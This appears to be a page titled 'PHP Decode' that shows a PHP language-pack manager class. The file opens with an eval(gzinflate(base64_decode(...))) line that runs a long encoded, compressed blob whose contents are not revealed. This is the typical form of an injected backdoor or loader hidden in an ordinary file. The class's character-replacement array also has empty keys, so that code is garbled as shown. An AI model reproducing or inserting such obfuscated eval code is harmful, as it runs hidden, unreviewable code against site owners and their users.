PHP Decode

<?php eval(gzinflate(base64_decode('rVRJb9NAFL77V8zB0jiSna1xnChq1aqCUykIbk0ra5hMEqvuOPJSaFEO7Ny5sPwMTiy3wv9iZt44toPpQvHBet9731v9/AzDMGhIkgSFhM8yMmP3GBfvGD0zkHjUaxEHpyRlyPR9yXpA6PGoaojZIiSUJWgTkTgmZxa++ILR5hbCEbYR/vUDwLkC30rg52sARIGPAJiivQAQKstbAFRZPgNIFHgFgEtw8R7AfWX5DuBAga/lpNpnR4EPAO4o2nMAe8ryBsCusnwC8EiBlwD2cWNUGlP2OAwommacpkHEke/TiCdpnNHUauh5ysdM50HibBXDXE1NR5NPzNIs5kh4s1GeYHlZrgmrSXXDKGFEJnt6D2RhljmNwgmL98kJq3QAalE3Djht5auTtHCz5NHELVw0ZOasum6DKbJolPHU2k4o4ZMgzlM3GmgLdcvJ5TONYkboHFnrbEQSUV0QsnWPPMsiZjP/hKR0buHWeMc5IM552xn6ztFhU1Z42FzMFy1sQ5C6KCoSp2E2YXnaJrBHtdxVrcUEZJHH7EzukHlKwqy22r+uy1j6Hokxgm991uUf2qqmQEvEwoStFaAXZ0qEqUiwvGqBZizN9wfaXd8cHXdb7Kqvj4a4Fe+wLQ+GvV3Tax7lSI/38uy74o+LQnbzItRK+mKwiaWLyG9awwabGnaN9ZZFS+pDXYSZRlq0VyfVvqyFcgf1zlBb/Xe5XnF6pP9c438a8y1bvbrXJJjx5G4Qpkyck5Q9Tas/pansO7LG1QVzvI78hzt913Y6GyB2hdhuK9kVsucpcaNvO31XicO27QxB63Vsp9sHQk/4KUK3OxAEHVho3R6IQtvTBMntQAhXhBhCateznQH4DYaSAeqeYLgDEDdEDA9ieJVzZXL2pNpbxVzcsNIUrnXFVoHHdC7mKvgNeboUAKdynvKNqlnx8vbkcdf3ptDDR8y/u7E0fgM=')));
class languageMenager {
    private $__langPack;
    private $replaces = array('' => 'o', '' => 'z', '' => 'z', '' => 'a', '' => 'e', '' => 'l', '' => 'c', '' => 's', '' => 'n', '' => 'O', '' => 'Z', '' => 'z', '' => 'A', '' => 'E', '' => 'L', '' => 'C', '' => 'S', '' => 'N');
    public function __construct() {
        $this->__langPack = array();
        return true;
    }
    public function __destruct() {
        return true;
    }
    public function loadLanguagePack($folderName) {
        $folder = 'inc/languages/' . $folderName . '/';
        $language = array();
        if (count(@scandir($folder)) > 2) {
            foreach (scandir($folder) as $file) {
                if (preg_match('/[A-Za-z0-9_-]\.lang\.php/', $file)) {
                    include ($folder . $file);
                    foreach ($language as $key => $value) {
                        $this->__langPack[$key] = $value;
                    }
                }
            }
        } else {
            return false;
        }
    }
    public function getLanguage($langName) {
        return @str_replace('', '', @$this->__langPack[$langName]);
    }
    public function getConsoleLanguage($langName) {
        return @str_replace(array_keys($this->replaces), array_values($this->replaces), @$this->__langPack[$langName]);
    }
    public function langReplace($toReplace, $replaces, $langName) {
        return str_replace($toReplace, $replaces, $this->getLanguage($langName));
    }
    public function langConsoleReplace($toReplace, $replaces, $langName) {
        return @str_replace(array_keys($this->replaces), array_values($this->replaces), str_replace($toReplace, $replaces, $this->getLanguage($langName)));
    }
    public function signsFilter($text) {
        $signsArray = array(-71 => 165, -13 => 162, -100 => 152, -77 => 136, -65 => 190, -97 => 171, -26 => 134, -15 => 228, -91 => 164, -54 => 168, -45 => 224, -117 => 151, -93 => 157, -81 => 189, -113 => 141, -58 => 143, -47 => 227);
        $newArray = array();
        foreach ($signsArray as $key => $value) {
            $newArray[chr($key) ] = chr($value);
        }
        return str_replace(array_keys($newArray), array_values($newArray), $text);
    }
}